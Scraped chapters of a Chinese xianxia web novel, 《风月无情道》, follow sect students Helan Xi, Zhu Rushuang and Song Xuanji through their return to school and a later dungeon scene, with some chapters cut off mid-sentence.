和之前不同,这团黏液再不能蠕动翻滚,只能像水一般,缓缓四散而开,不多时便停止了流动。而黏液的中间,静静地躺着一个被截断了的暗红色龙角。 天际初亮,东方既白,原本热闹非凡喜气洋洋的林府人去楼空,只剩下了满地的狼藉。 * 长孙策依旧是有家不回,跟着无情道三美回到了之前落脚的客栈。 朝 11.第 11 章 《风月无情道》全本免费阅读 虽然早就猜到了祝如霜可能和自己一样在无情道院隐藏着本性,但听对方这么亲口一承认,贺兰熹还是悲从中来,悲喜交加,悲天跄地。 一年了,他在太华宗独来独往,沉默寡言已经整整一年了。 还没辟谷的时候,别的道院的弟子成群结队地去膳房吃饭,他默默把饭带回仙舍一个人吃; 遇到棘手的功课,他找不到人请教或讨论,只能靠自己查阅古籍,慢慢摸索; 刚入宗时,他被合欢道院的“色鬼”道友纠缠,他不能痛快骂人就算了,连个站在他身边听他倾诉的人都没有,搞得他十几岁了还要半夜三更用传音符找他娘亲诉苦告状。 如此种种,往事不堪回首。他已经习惯这种生活了,也强大到了在太华宗无人敢惹的地步,现在突然告诉他,他本来可以再无情道院交到朋友的。 他真的,他想哭。 祝如霜又不傻,看贺兰熹这么大的反应,顿时明白过来,难以置信道:“难道你也……” 贺兰熹含泪点头:“我也,我也!祝云,你……你知道我过去一年是怎么过来的吗?!你知道吗!!!” 祝如霜内心的震撼丝毫不比贺兰熹少,甚至多得多:“可是……可是你完全看不出来啊。我一直以为,你和宋玄机那样的人,才是无情道的天选之人,我只是选来凑数的。” “是吗,”被祝如霜这么一说,贺兰熹还欣慰上了:“可能是因为我太会装了,把你骗到了。其实我很喜欢说话,我的话多起来能把长孙策的嘴皮说破你信不信。” 祝如霜不由地盈盈一笑。 贺兰熹第一次见祝如霜这么笑,只觉得既熟悉又陌生,一时间百感交集:“我一直想和你们亲近,入宗之前我就给你们准备了礼物,宋玄机过生辰的时候我深更半夜趁他睡着了跑去给他送点心,结果被他以为是小贼追了几条街……我很想和你们多说话,可是你们一个比一个高冷,我怕打扰你们,更怕你们不理我……我我我我我心里苦啊!” 祝如霜颇为怜爱地看着贺兰熹,道:“我虽然不讨厌说话,但也没有很喜欢说话,独处之时倒也觉得清静自在。即便如此,在无情道院难免也有难熬的时候。你如此活泼的心性,过去一年是如何过来的……”说到此处,祝如霜忽然想到一件事:“之前我听家兄提起,有闻名金陵的医修主动上门求诊——可是你安排的?” 贺兰熹想将此事瞒下来,但祝如霜这么聪明,他自知瞒不过,下意识地“嗯”了一声。“嗯”完之后又惊慌失措地唾弃自己,怎么回事啊,他居然还“嗯”习惯了?! 贺兰熹连忙换了种回答方式:“嗯嗯,是我是我!是我啊!” 祝如霜唇边笑意微敛,露出愧疚的神色:“怪我,一年来始终没有在太华宗内以本性示人。对不起,时……时雨。” 贺兰熹第一次听道友这般叫自己的字,有一点点害羞:“唉,别别别,你道什么歉啊。你要这么说,我也对不起你。” 他方才不过是一时激动才“怪”祝如霜没有早点告诉他,可他自己还不是一样伪装了一年。两人同窗这么久,日日见面,几乎是朝夕相对,可直到今日,贺兰熹才发现祝如霜原来是个内心这么温柔的人。 猝不及防的,他居然在这个时候想到了宋玄机,然后敦地站了起来。 祝如霜被他吓了一跳:“怎么了?” 贺兰熹表情严肃:“祝云,你说宋玄机会不会也和我们一样,有着不为旁人所知的一面?” 祝如霜想了想宋玄机平日里仿佛独立于冰原之上的清冷,沉默片刻,道:“应该不会吧?” 贺兰熹一边低头思考一边在房间里走来走去:“不行,我可太好奇了,我必须弄清楚这件事。” 祝如霜稍作思索,提议道:“或者,你可以问问宋玄机的家人,他入无情道院之前是什么样的。” “可宋玄机是姑苏人氏,除他之外我不认识其他姑苏人。”贺兰熹脑中一条白线穿过,灵光一闪,脚步一顿:“看来,是时候展现我在三界之中强大可靠的人脉了。” 金陵贺兰家,莫说在金陵城,纵使放眼九州也是数一数二的大族。祝如霜期待地看着贺兰熹从灵囊中拿出传音符使用,在心中猜了几个九州之内响当当的名字,也不知贺兰熹要找的是其中哪一位。 传音符生效后,一个女子的声音响了起来:“熹儿?” 贺兰熹:“娘!” 祝如霜:“……哦,好吧。” 贺兰夫人:“发生什么事了,怎么在这个时辰找我?” 贺兰熹:“娘,你在姑苏有玩得好的小姐妹吗?我有件事需要你帮我打听一下,急急急,十万火急!” 贺兰夫人:“嗯嗯?” 传音符烧尽后,祝如霜好笑道:“时雨,你怎么这么着急,你很在意宋玄机的本性吗?” 贺兰熹稍稍怔了怔,十分诚实地说:“也没有很在意,一点在意而已。” 祝如霜点了点头,道:“这样也好,倘若宋玄机并非他表现出来的那般高冷,我离开太华宗后你至少还有他相伴,你也不至于总是孤零零的一个人。” 贺兰熹不开心地皱起了眉:“不懂,你为什么总觉得自己一定会被退学呢?事情已经解决了,【鬼相语】也没有丢,即便你在浮生若梦中和林澹成了亲,那也只是幻境中的事,做不得数,更算不上破无情戒了。” 祝如霜眼神一暗,似有什么难以言说的苦衷:“我会这么说,自是有我的缘由。” 一时之间,贺兰熹也不知如何安慰他:“祝云……” 见贺兰熹情绪又低落了起来,祝如霜打起精神,笑道:“先不说此事了,退学与否,等我回到太华宗后江院长自有定夺。对了时雨,你功课做完了没,能给我借鉴一下《机关学》吗?” …… 贺兰熹和祝如霜来了一个促膝长谈,贺兰熹恨不得把过去一年没和同院道友聊过的天一下子全补回来。 两个时辰过去,祝如霜虽然没有像解弘那般痛苦求饶,但也到了双目无神,意识涣散的境界。贺兰熹也不想这么折腾人家,但他的嘴真的闭不上。 在金陵家中时,虽然有娘亲解弘等人轮番陪他闲聊,但那些人到底不是太华宗的弟子,很多事情都无法共情。祝如霜就不一样了,他能精准地理解贺兰熹说的每一个点,比如《九州史》的课有多无聊啊,合欢道院的院长为何总是用那种眼神看着他们,无情道院的仙舍什么时候能重新装修一下就好了,宋玄机这一年究竟有没有越看越漂亮…… 在祝如霜实在说不下去了之后,两人又说起了正事。从祝如霜口中,贺兰熹得知了【鬼相语】之事较为完整的全过程,和他之前推断的八九不离十。 祝如霜唯一的兄长身患恶疾,每日都需以 12.第 12 章 《风月无情道》全本免费阅读 乘坐仙舟虽然舒适惬意,但远没有御剑飞行来得快。从西洲到太华宗,仙舟得在天上“慢悠悠”地飞上一整个白日。好在天际之景相当不错,贺兰熹和祝如霜并肩而立于船头,享清风吹拂,观云海灿烂,倒也十分惬意。 然而离太华宗越来越近,两人的表情也越来越沉重。 贺兰熹知道祝如霜在忧心自己可能因为破无情戒而被退学,他一边为祝如霜担心,一边因即将到来的新学年郁郁寡欢。 又要开始了……每日三四堂课,每堂课一个时辰,晚上即便没课也要做功课;除了清明中秋等大节,每月只有两日的假——这样暗无天日的日子又要开始了。 他之前还听师兄们提起过,入学第二年是最重要的一年,不仅功课的难度直线上升,考试的频率也是第一年的两倍…… 贺兰熹越想越忧郁,嘴都闭上了,开始幻想自己从仙舟上跳下去,牺牲他一人,唤起太华宗众院长对学生们的怜悯之心,从此让太华宗的弟子脱离苦海,然后为他“歌功颂德”,将他的“恩情”谨记于心。 不远处,长孙策和宋玄机站在长孙家的家徽下,前者看着贺兰熹祝如霜并肩而立的画面,觉得甚是养眼之余不由纳闷:“我怎么觉得这两人的关系一夜之间亲密了不少呢,是我的错觉吗。” 宋玄机不置可否。 太华宗一年就这么一次回家和亲人团聚的机会,不少弟子都是在家待到最后一日才动身回宗。一路上,四人也偶遇了不少其他道院的弟子,大多是四大道院以外的弟子。别说无情道三美了,长孙策和他们都不算熟,只能依靠他们身上的校服分辨他们是哪个道院的。 直到一群穿着黑金色校服的少年御剑而来,笑嘻嘻地冲长孙策挥手打招呼—— “长孙经略,听闻你在西洲抢无情道祝云的亲了?” 长孙策一哽,耳朵都红了:“你们这些混账怎么知道的?消息也太灵通了吧!” “真没想到你喜欢祝云那一款的,你和他在一起不会憋死吗?” 长孙策急赤白脸地解释:“我不是,我没有!我抢亲是为了大局,我又不喜欢男的!” “经略啊,听为兄一句劝,收心吧,无情道院的美人你把握不住的,连合欢道都拿不下他们,何况是你啊!” 长孙策气急败坏昏了头,居然转头求助宋玄机去了:“宋浔,你快告诉他们,是你道友要我去抢亲的!我是被贺兰熹逼的!” 宋玄机:“不。” 长孙策:“……很好,你站在这里不要动,我现在就去拿话多多辣椒水。” 宋玄机:“不。” 宋玄机转身走到两个同院道友身旁。贺兰熹不动声色地侧眸看了眼宋玄机,心想今年能不能多和我主动说几次长句啊,宋同学。 无情道三人一起沉默地看着太华宗的轮廓逐渐在视野中清晰。 太华宗群山叠峦,四季变换莫测,十二座道院各自依山而建,井水不犯河水。其中,四大道院离太华宗主峰最近,列阵四方,因其充沛的灵力能保持一个季节不变化,这也算是四大的特色了。 合欢道院在南,四季如春,人间芳菲,如梦似幻。哪怕只是偶然路过,也会沾染一身的淡粉樱花,花香甜美清新,经久不散。 混天道院在东,夏山如碧,骄阳似火。混天道院的弟子天天在日头下晒着,长孙策的小麦般的肤色在他们道院都算白皙的了。 太善道院在西,秋高气爽,硕果累累,桂子飘香。院内安静却不寂寥,平淡却不平庸,温润却不单调,置身其中,再浮躁的心都能慢慢静下来。 而无情道院的地盘位于宗门极北,山峰高耸入云,终年积雪,远远看去就能感觉到一股股寒意迎面而来,叫人心生胆寒,望而却步。 剩下的八小道院,诸如养了一山奇珍异兽,成日鸡鸣狗吠之声不止的万兽道,和灵兽双修的风气就是从他们道院开始的;又或是追求自由快活的逍遥道,我最重要他人算屁的唯我道……一一各具特色,各有所长。 其他十一道院的弟子之间或多或少都有些交情,互相串门是常有的事。唯有无情道院,好像和其他道院有壁垒一般,从不欢迎外院弟子造访,以至于长孙策入学一年连无情道院的门都没摸过。他可太好奇无情道院里面是什么样了。 去年,长孙策曾几个同院道友尝试过半夜去无情道院探险,结果才靠近大门就不知道被什么东西拍飞了出去,搞得他摔得不轻还不敢吭声,被道友们嘲笑了大半年。 不多时,长孙家的仙舟在太华宗大门口停下,引得不少弟子频频侧目。 在院外见到无情道三美合体本就难得,更难得的是他们是乘坐长孙家的仙舟返校的。长孙经略什么时候和无情道院走这么近了?竟然有人能和无情道走得近?? 四人下了仙舟,长孙策连先回自家道院看一眼的想法都没有,跟着贺兰熹等人直奔无情道院。 他们一路御剑向北,最终在无情道院的大门前降落。 方才还明媚耀眼的阳光到这里立即暗淡了下去,只剩下区区萤烛之辉。向里看去,目之所及皆是空旷静谧的纯白,纤尘不染,超脱尘世,俗世的喧嚣荡然无存。 长孙策在无情道院门口站了一会儿,看着门顶上的“閇”字,狐疑地问:“是我聋了吗?怎么什么都听不见?” 贺兰熹对长孙策现在的感受感同身受。他在无情道院待久了,一个人的时候经常有事没事就“啊”一声或者制造出一些动静,以便确定是四周很安静,而不是他聋了。 长孙策心有余悸地跟在三人身后踏入大门。这次有三美带着,他没有再被拍飞出去,双脚稳稳地站实了。 长孙策松了一口气,抬头看去,只见一座巨大的丰碑屹立在冰霜中,上面刻着一个异常圆润的圆圈,除此之外,别无他物。 混天道院也有这样一座丰碑,上头刻着混天道的院训,长孙策不知见过多少回了,但这个…… 长孙策走近丰碑,左看右看,又绕了两圈,依旧没发现这个小圆圈有什么特别之处。他问:“这什么啊?” 宋玄机,贺兰熹,祝如霜三人不约而同道:“院训。” 长孙策一头雾水:“啥意思?” 贺兰熹:“。” 宋玄机:“。” 祝如霜:“就是这个意思。” 长孙策:“???” 长孙策一愣一愣,好像是傻了。贺兰熹看着他,仿佛看见了刚入院的自己,有点想笑又笑不出来。 是的没错,【。】就是他们无情道院的院训。想也知道,一个“閇”字已经让初任院长那么不耐烦了,他哪还有闲情逸致想什么道训,一个【。】已是他最大的耐心了。 不得不说,【。】其实还蛮贴切的——一切尽在不言中嘛。 长孙策盯着那个小圆圈,喉咙滚了又滚,欲言又止老半天,一个字都憋不出来。 贺兰熹道:“你现在想出去,还来得及。” “谁、谁说我要出去了。”长孙策勉强找到了自己的声音,四处张望着:“你们道院其他人呢?” 贺兰熹语气漠然:“没有其他人。” 太华宗十年一次弟子大选,无情道院多则进五人,少则进三人。在贺兰熹寥寥无几的师兄中,十有八九都在闭关修炼,贺兰熹满打满算也就见过一两个。 别的道院动辄几百人,无情道院就那么几个人,无情道院的地盘还是全宗最大的。别说在院内只溜达一天了,哪怕是溜达一个月,都不见得能见到一个活物。 这时,贺兰熹注意到宋玄机目光稍有偏移,他也跟着看了过去。接着是祝如霜和长孙策,全转头看了过去。 那是一条通体雪白的狩猎细犬,四肢修长有力,毛发柔软洁白,双目晶莹剔透,透着某种熟悉的平静,迈着不紧不慢的步伐朝四人缓步而来。 长孙策难以置信地瞪大了眼睛 13.第 13 章 《风月无情道》全本免费阅读 在入无情道院之前,贺兰熹就对合欢道院心向往之。 倒不是他对什么采阴补阳双修之法感兴趣,主要是因为合欢道院强,太华宗内仅次于无情道院的存在可不是开玩笑的。 合欢道的弟子向来随心所欲,百无禁忌,鲜艳漂亮的衣服随便穿;他们从不把宗规戒训放在眼里,有事没事还能和远在千里之外的太华宗女修联络感情,光是看他们的“与君同乐”院训就知道他们过得有多快乐。 但如果真的让贺兰熹转去合欢道院,他好像也不是很乐意。他偶尔也会想,倘若能去别的道院体验一下就好了,让他感受感受不同的道法人生,感受完了再麻利地滚回无情道院继续修行。 所以,绯月真君“合欢道院临时弟子”的说法简直戳到他心坎里去了! 贺兰熹心中狂喜的小人才刚跳起了舞,就听见宋玄机淡道:“假。” 贺兰熹微怔,朝宋玄机投去询问的目光。 宋玄机道:“院长即便托付,也断不会是绯月真君。” 贺兰熹心一凉,顿觉宋玄机说的好有道理。 去年年末,他便耳闻江院长正处于入大乘的关键时期。院长闭关乃常见之事,若是其他道院,除了院长还有诸位长老可以代管院中事物。但显然,他们无情道院又是一个例外。 无情道院本来就没几个人,从来不设“副院长”“长老”之类的虚职。众人无欲无求,掌事者的位置只会耽误时间,影响他们修行的速度,据说当年江院长亦是百般推辞后被迫成为了无情道院的代理院长。 至于为何是代理院长,因为无情道院名副其实的院长浣尘真君真闭关多年。别说他和宋玄机了,连比他们早一届的师兄们都没有目睹过浣尘真君的真容。 因此,江院长闭关之前只能将他们暂时托付给外院。贺兰熹猜测,这个“外院”应当是太善道院,再不济也是混天道院——江院长哪怕送他们去万兽道院喂鸡,也绝对不可能把他们托付给合欢道院。 开什么玩笑啊,无情道和合欢道自古以来便是水火不容的死对头好吗。 贺兰熹面无表情地看向绯月真君:逗学生很好玩? 绯月真君看着宋玄机,轻叹着摇了摇头:“你还真是不好骗啊,玄机,性格也是一如既往的一言难尽,一点都不给长辈面子。”绯月真君说着说着,又笑了起来,眉眼弯弯道:“但你漂亮,所以这些都不是问题,你仍旧那么招人喜欢。” 漂亮又招人喜欢的宋玄机神色漠然:“谬赞。” 祝如霜迟疑数息,问:“敢问真君,江院长他……” “江隐舟的确去闭关了,在闭关之前也的确将你们托付给了其他道院,这点本座没有骗你们。”绯月真君道,“只不过,被‘托孤’的东方既明另有要事在身,现下不在太华宗,故而由本座代为掌管无情道院事宜。” 东方既明,号【沂厄真君】,太善道院现任院长。 说罢,绯月真君笑眯眯地问宋玄机:“玄机,这回本座说的是真的吗?” 宋玄机:“嗯。” 绯月真君轻笑一声道:“既是真的,就随本座进去,好好讲一讲【鬼相语】之事罢。” 听到【鬼相语】三字,祝如霜眉眼之间隐隐露出忐忑不安之态。贺兰熹见状,轻轻扯了一下祝如霜的袖摆,递给他一个“别怕,不会有事,你不会被退学!绝对不会!!!”的眼神。 三人跟随绯月真君来到了江院长平日接见弟子的【归虚谈室】。绯月真君丝毫不把自己当外院院长,直接在江院长的主位落座:“【鬼相语】在何处。” 宋玄机将【鬼相语】呈予绯月真君,后者一贯轻佻风流的神色收敛了些许。 烛龙,又名【烛九阴】,开眼为昼,闭眼为夜,乃一方山神。鬼王体内有烛龙的血脉,其龙角呈暗红的血色,以螺旋之态缠绕弯曲,在外室透进来的雪光中闪烁着诡异的,暗金般的光泽。 绯月真君端详良久,除了浓郁到几乎要化为实质的邪气,并未发现其他异常。他问宋玄机:“你一路随身携带【鬼相语】,自身可有受到什么影响。” 宋玄机稍作停顿,道:“无。” 绯月真君欣慰地点了点头:“幸好你带着这东西不过一两日的功夫,否则……此物先放在本座这里,等本座和几位院长商议过后,再做定夺。另外,东方既明已亲自赶至浮绪仙君的陵寝,凭他的本事,定然不会放过任何蛛丝马迹。” 贺兰熹问:“真君,依您之见,附身于林家小公子的究竟是何种邪崇?” 绯月真君每次和贺兰熹说话都笑眯眯的,像一只试图把羊拐入狼窝的大灰狼,这次也一样:“难得听贺兰时雨说长句,真是好听。至于你方才说的邪崇……”绯月真君摊了摊手:“本座暂时也没什么头绪呢。” 说到此处,祝如霜端正笔直地跪了下来:“弟子有罪。” 绯月真君奇道:“嗯?你何罪之有。” 祝如霜淡道:“弟子和邪崇有染,有违天道。” “有染”二字听得贺兰熹一阵心惊肉跳。祝如霜说的“有染”不会是洞房吧? 绯月真君笑了笑,问:“本座且问你,你与他,可有肌肤之亲?哪怕是在浮生若梦之中?” 贺兰熹和宋玄机一左一右,同时看向祝如霜。祝如霜一阵脸热,镇定地摇了摇头。 绯月真君不解:“若是如此,你又为何坚称自己有罪?” “真君,我……”祝如霜轻轻抿了抿双唇,在三人的注视下抬起手,将锁骨间的校服稍稍往外扯了扯,露出一节清瘦的,轮廓分明的锁骨。 只见,在那一小片凹陷的皮肤上刻着一朵娇艳欲滴,栩栩如生的彼岸花。 血腥的暗红勾勒出薄如蝉翼的花瓣,深深地在苍白的皮肤上打下烙印,宛若一根根缓缓流动的血管,更像一场华丽无比却暗流涌动的噩梦。 绯月真君眼眸一暗,脸色罕见地变得有些严肃,但又很快地恢复如常。贺兰熹精通《丹药学》,自然知道此花的含义,不由脱口而出:“怎么会……” 祝如霜垂眸道:“此物,是‘它’在我身上留下的。弟子尝试了能想到的所有办法,皆无法将其去除。” 绯月真君问:“你被烙上此印,可有什么不适?” 祝如霜摇了摇头。 “你先别紧张。太华宗立宗数千年,除了自己学不下去或者犯了大错的弟子,从未有过退学之人。”绯月真君安慰着祝如霜,温柔的嗓音如同纤纤玉手般抚过:“这彼岸印看着瘆人,却也不算特别棘手,处理起来至少比让玄机开口唱山歌简单多了。” 宋玄机:“。” 绯月真君此番话或许安慰的意味颇多,却让几个少年松了口气,祝如霜苍白如纸的脸上也恢复了一丝血色:“真君,此言当真?” 绯月真君又是一笑,狭长的眼尾微微上扬:“当真呀,本座可不能让你们几个小的出事,否则江隐舟还不知道会如何折腾本座呢。” 别看绯月真君把话说的这么暧昧,但贺兰熹知道,真君口中的“折腾”大概就是江院长不理他,连个“嗯”字都不给。 “现在,我们说点正事吧。”绯月真君陡然话音一转,“你们的功课做完了么,都拿出来给本座瞧瞧。” 在【归虚谈室】被一院院长检查功课,此情此景让贺兰熹意识到:来了来了,新学年真的来了。 什么沙海秘境,什么鬼王龙角,什么道友抢亲……惊险刺激的日子即将一去不复返,接下来便是“只要学不死,就往死里学”了。 绯月真君先检查了祝如霜的功课。一整个假期,祝如霜虽然在为家计奔波,又在浮生若梦中困了三年,功课却未落下,连不擅长的《机关学》也在贺兰熹的帮助下连夜补完了。 绯月真君检查完毕,甚是满意,笑道:“要是合欢道院每个弟子都像如霜这般勤勉,本座做梦都会笑醒。行了,你一路奔波也累了,先回仙舍休息罢。” 祝如霜走后,绯月真君又开始检查贺兰熹和宋玄机的功课。贺兰熹看着他一页页翻过自己的文章,时不时轻轻点头,内心不免有些飘飘然。 被我们无情道院弟子完美的功课惊艳到了吧真君。抱歉,您的弟子们确实和我们没法比。 直到绯月真君动作一顿,有些惊讶地“咦”了一声:“时雨,你《九州史》的功课为何一片空白?” 贺兰熹:“???” “不信?”绯月真君把功课递给贺兰熹,“那你自己看。” 贺兰熹看着自己一个字没写的《论鬼王于九州之影响》,迷惑得不行。 怎么回事?他明明写了这篇文章的啊,还是和宋玄机一起写的。 贺兰熹忽然意识到了什么,猛地抬眸和宋玄机对视,人生中第一次在宋玄机的眼中看出了几分微妙和复杂。 他是在浮生若梦中写的这篇文章……幻境中的东西,好像不能带到现世来? 就像他和宋玄机在幻境中穿上了喜服,出来的时候却仍旧穿着校服;祝如霜和“林澹”在幻境中过了三年,现实也只有区区三天——幻境和现实根本就是不互通的啊! 巨大的绝望在顷刻间淹没了贺兰熹。 贺兰熹入太华宗一年,始终秉承着“来都来了,那就好好学吧”的理念,从未在功课一事上有所懈怠。没做功课还被院长抓了个现行,这还是有史以来的头一遭! 唯一让他有所欣慰的是,当时不做功课他们也出不来幻境,而且这一次,他不是一个人。 果然,没过多久绯月真君就发现了宋玄机的《符箓学》也没有完成。他望着两个优等生挑了挑眉,借着审问的名义逗两个少年玩:“给本座一个解释吧。否则,本座可要写信告知你们的双亲,请他们来太华宗一趟了。” < 14.第 14 章 《风月无情道》全本免费阅读 次日清晨,贺兰熹尚在睡梦之中,感觉到有什么东西正轻飘飘地,在他脸上一下又一下地撞个不停。 他睁开眼,坐起身打了个哈欠,一手揉着眼睛,一手施法将传音符点燃:“娘,这才什么时辰啊你就找我,雪雪肚都还没有醒呢。” 贺兰夫人:“嘿,你还怪上为娘了。不是你说‘急急急,十万火急’,让我一有消息立即通知你么。” 贺兰熹顿时睡意全无:“宋玄机的事情有眉目了?” 贺兰夫人:“对啊。我有一个小姐妹的女儿是姑苏宋家三小姐的闺中密友,我托她打听了一些有关宋玄机的事情。” 贺兰熹不自觉地揪紧了腰间的被子:“然后呢?” 贺兰夫人:“宋玄机自幼罕言寡语,惜字如金。就连是他堂姐的三小姐从小到大都没好好和他说过几句话。” 贺兰熹微微一怔,揪着被子的手缓缓松开,口吻难掩失望:“哦……这样吗。” 想想也是,当日长孙策对他们三人使用了假辣椒水,他和祝如霜都借机暴露了一些本性。而宋玄机虽然话多了一些,但也多不到哪去,还不如和他在浮生若梦时说得多呢。 看来宋玄机的确是货真价实的话少喜静,自己若以本性和宋玄机相处,怕是只会打扰到他。 也罢,真话少就真话少吧,反正他早就习惯了话少的宋玄机。 他认命,他接受。 贺兰熹自我疏导完毕,对娘亲道:“行,我知道了。娘,我差不多要去上课了,走了啊。” 贺兰夫人:“且慢。宋三小姐还说,宋家家大业大,光是他们这一辈就有数十人之多。同辈人一多,自然纷争也多。尤其是宋玄机,因为容貌出众,天资过人,常常陷入众矢之的的境遇。可奇怪的是,论口舌之争,宋玄机从小到大没有一次落于下风。” 贺兰熹还以为自己理解错了娘亲的意思,重复了一遍:“等等,娘你是在说,宋玄机虽然沉默寡言,但打嘴炮却很厉害,从来没输过?” 贺兰夫人似乎也对这个结论感到迷惑:“对,宋三小姐的确是这么说的。她还说,宋玄机话少归话少,却总是能‘一击毙命’,迅速将对方逼到怒火攻心,对他大打出手的地步。但你也知道,宋家又有谁能是宋玄机的对手呢。” 贺兰熹惊呆了,跟着他娘亲一起迷惑:“竟还有这等奇事?” 打嘴炮难道不需要练习吗?一般而来,擅长吵架的多是伶牙俐齿之人。宋玄机不喜欢说话却能吵赢所有兄弟姐妹,和不会走路却跑得飞快有何区别? 贺兰夫人:“这为娘就不知道了。要不,你亲自去问问宋玄机?” 贺兰熹没有吭声,皱眉凝思着。 娘亲的消息一向灵通,应当不会有误。而且陡然听娘亲这么一说,他确实发现了一个一直以来被他疏忽了的疑点。 宋玄机的确不怎么说话,但他和宋玄机仅有的一两次嘴炮互激,他好像……确实没赢过? 贺兰夫人:“熹儿?熹儿,你听见了吗?” 贺兰熹想得出神,被娘亲唤了好几声才拉回思绪,道:“听见了听见了,两只耳朵都听见了。娘,我先去上课,改日再找你说话。” 时间紧迫,贺兰熹换上无情道院的校服,匆忙收拾好便出了门,打算找祝如霜一道前去上课。让他惊喜的是,祝如霜竟然已经在他仙舍门口等他了。 祝如霜微微一笑:“时雨,我们一起去上课吧?” 贺兰熹嘴角上扬,笑容灿烂:“好啊好啊,一起去上课一起去上课!” 离开仙舍之前,贺兰熹忍不住朝宋玄机仙舍的方向看了一眼,只见仙舍门窗紧闭,主人显然早已出门了。 太华宗弟子平日上课修行的地方是位于太华宗主峰的【迷津渡】。 【迷津渡】与民间书院类似,古朴雅致,窗明几亮。贺兰熹的座位靠窗,以往每每上《九州史》的课 ,他都会百无聊赖地看着书桌上光影一点一点移动跳跃,等移到宋玄机肩膀上时,差不多就该下课了。 过去的一年,贺兰熹、宋玄机和祝如霜同在一个讲堂听课,除他们三人之外,讲堂上并无其他道院的弟子。 贺兰熹以为今年的上课方式会和去年一样,不想他才走进讲堂便被一大片红色迷晕了眼。 他第一反应是自己走错路,误入百花深处,定睛一看后才发现那些“花”原来是好多合欢道院的弟子! 合欢道院的弟子各个身着红装,容貌均在普通人之上,类型大致分为两种:一类精心装扮,华丽动人,就像绯月真君那般;另一类则是普通男子的打扮,身上没有过多的配饰,亦是颜如冠玉,俊朗非凡。 这些人一共大约十人,三两成群地凑在一起谈笑风生。贺兰熹发誓他听见了其中一人问另一人“宝贝昨夜睡得好吗”——合欢道的人居然叫自己道友“宝贝”?他也算长见识了。

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“就这?”贺兰熹以其人之道还治其人之身“你们混天道没看过春宫图吗。” “你懂什么”长孙策强撑着嘴硬“你看到的是我气定神闲的脸红听到的是我不屑一顾的喘……” 长孙策的神志无法支撑他说完最后一个字他的眼神彻底失去了清醒。 祝如霜在他面前晃了晃手 贺兰熹心下一惊几乎喊破了音:“不——放开祝云!” “无妨”祝如霜皱起了眉一把揪住长孙策的衣领:“我带他回去抄书。” 贺兰熹将两人送回载星月的剑灵又想到萧问鹤在北濯天权的剑灵里不安地问宋玄机:“这种时候他们两个独处不会出事吧?” 宋玄机:“不会。” 贺兰熹:“你怎么能这么肯定?” 宋玄机:“长孙策打不过祝云。” 贺兰熹一下子放心了:“也对。” 三人之中白观宁受壁画的影响似乎是最小的。他和贺兰熹思路相同也想到了画中人很可能就是被楼兰王抓走的一百多个美人。他的脸色变得极其难看咬紧的嘴唇渗出血丝疯了一般地在壁画上找寻母亲的身影。 “不是她不是她……没有……”白观宁喃喃道“哪里都没有她。” 他看到了一百多个陌生的脸孔唯独没有看到那张他最熟悉的脸。 “这或许是个好消息。”贺兰熹道“证明你的母亲尚未遭遇毒手。” 白观宁哑声道:“但愿如此。” 前方的回廊好似永无止境水流的声音却越来越清晰了。 三人转过一个拐角一阵光亮袭来眼前豁然开朗。 作者有话要说 宋同学表示玩强制爱的前提要打得过老婆此处应@长孙经略@宋流纾 第 91 章 好聪明的宝贝 唯有“酒池肉林”四字能形容贺兰熹眼前的景象,他终于看清了回廊的全貌。 四四方方的回廊围成了一个庞大的正方形,一座足以容纳百人的夜光酒池如同一口天井,镶嵌在方形的正中间。 池面波光粼粼,酒液闪烁着紫红色的微光。葡萄酒的味道浓郁近乎有了实质,闻之若饮,令人微醺。 原来,他们听到的一直不是水流,而是美酒在酒池中流转的声音。 贺兰熹站在回廊的一角,抬眼向上看,看到的是同样围合成方形的楼阁。 飞檐翘角下,大红灯笼高高悬挂。一百余间房间整齐排列,每一间从外观上看一模一样,屋门紧闭,里面似乎也没什么动静。 这一百多间屋子如果是为一百零八个美人准备的,那幕后黑手还挺大方的,至少比四人一间仙舍的混天道院大方。 白观宁顾不上去考虑房间内是否有陷阱,推开离他最近的一扇门闯了进去:“母后!” 房间里,一名楼兰女子正伏于榻上酣睡。贺兰熹在壁画上见过该女子,她并非白观宁的母亲。 白观宁一刻不耽误,继续找下一间。 这种时候自然是人多力量大。贺兰熹把藏在剑灵中的三人放了出来,长孙策的眼睛已经恢复了清明,脸上却多了一个鲜红的巴掌印——不下狠手绝对扇不出来这种效果。 再看祝如霜,除了衣襟稍显凌乱,屁事没有。 不明所以的萧问鹤问长孙策怎么回事,长孙策悻悻然地让他闭嘴。 贺兰熹问白观宁:“小白,你母亲长什么样?” 白观宁的美貌完全是从他母后处继承而来的,贺兰熹等人虽然没见过那位楼兰前王后,但只要牢记长卷发,紫棠色眼睛,眉心有一个红点等特征便足够他们找人了。 六人分头行动,很快将所有的屋子找了个遍,其中一百零五间屋子里都有沉睡着的美人,却仍然不见王后的身影。 更奇怪的是,楼兰王要为他的主人献上一百零八名绝色美人,这里却只有一百零七间屋子。 多出来一位的美人应该和其他人的用途不一样,才会被这般特殊对待。 白观宁的母亲是第一个被带到这里的美人,壁画上又没有她的画像,她很可能就是那名特殊之人。 “我们再多找两圈吧。”贺兰熹道,“这里这么大,说不定有什么暗门秘境之类的东西被我们忽略了。” 一次次搜寻的无果几乎要将白观宁击溃。他颤抖地捂住自己的面具,深吸一口气,强迫自己冷静下来:“好。” 宋玄机听见一丝异样的声音,转身朝外看去:“雨。” “不是雨。”祝如霜将手掌探出房檐,掌心上多出了一个个紫红色的圆点:“是酒。” 淅淅沥沥的“雨水”从天而降,顺着屋檐滴落,源源不断地汇入藏蓄的酒池。 一围一合,四水归堂。 “雨声”仿若惊雷骤响,将所有沉睡中的美人惊醒。 一百零五扇房门同时从里面被打开,拥有绝世容颜的美人们一拥而上,好似受到了主人召唤的,饿坏了的灵宠,不顾一切地冲向酒池。 他们脸上带着相似的迷醉笑容,身体沐浴在酒液中,仰起头用唇舌迎接新落下的酒液,喉间溢出阵阵满足的轻叹。 红舌卷酒,美人湿身。淫靡至此,简直让不谙风月的少年们叹为观止。 “不是,他们在干嘛啊!”长孙策瞪目结舌道,“只是喝个酒而已,怎么能喝得这么、这么……”未经人事的混天道甚至找不出一个词来描绘酒池中的景象。 “怎么可能只是喝酒。”贺兰熹道,“你以为那些壁画是怎么来的。你在壁画上看到的,全都是已经发生过的。” 长孙策被恶心得连连后退,尽可能地远离酒池:“救命!我的眼睛!能不能想办法让他们别做这种事啊!” 贺兰熹从两个拥吻在一起的女子身上移开目光,抬头望向连绵而落的酒液,道:“那恐怕要让‘雨’先停下来。” 酒液仿若迷情之药,越来越多的美人加入了这场匪夷所思的欢愉。 